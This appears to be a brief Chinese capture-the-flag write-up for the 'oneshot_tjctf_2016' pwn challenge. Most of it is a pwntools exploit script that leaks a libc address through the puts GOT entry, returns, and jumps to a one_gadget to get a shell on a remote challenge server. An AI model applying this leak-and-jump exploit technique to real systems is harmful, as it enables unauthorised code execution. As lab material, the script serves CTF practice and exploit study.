image.png
    只开了栈不可执行
    image.png
    泄露地址,然后再跳回去,最后跳到onegadget的位置

    1. from pwn import*
    2. from LibcSearcher import*
    3. context.log_level='debug'
    4. #io = process('./oneshot_tjctf_2016')
    5. io = remote('node4.buuoj.cn',26454)
    6. libc =ELF("libc-2.23.so")
    7. #libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
    8. elf = ELF('./oneshot_tjctf_2016')
    9. payload =str(6294232)
    10. io.recvuntil("Read location?")
    11. io.sendline(payload)
    12. io.recvuntil("0x0000")
    13. puts_addr = int(io.recvuntil("\n")[:-1],16)
    14. log.success("puts_addr:"+hex(puts_addr))
    15. io.recvuntil("Jump location?")
    16. io.sendline(str(4195910))
    17. io.recvuntil("Read location?")
    18. io.sendline(payload)
    19. libcbase = puts_addr - libc.sym["puts"]
    20. onegadget = [0x45216,0x4526a,0xf02a4,0xf1147]
    21. payload = libcbase+onegadget[0]
    22. io.recvuntil("Jump location?")
    23. io.sendline(str(payload))
    24. io.interactive()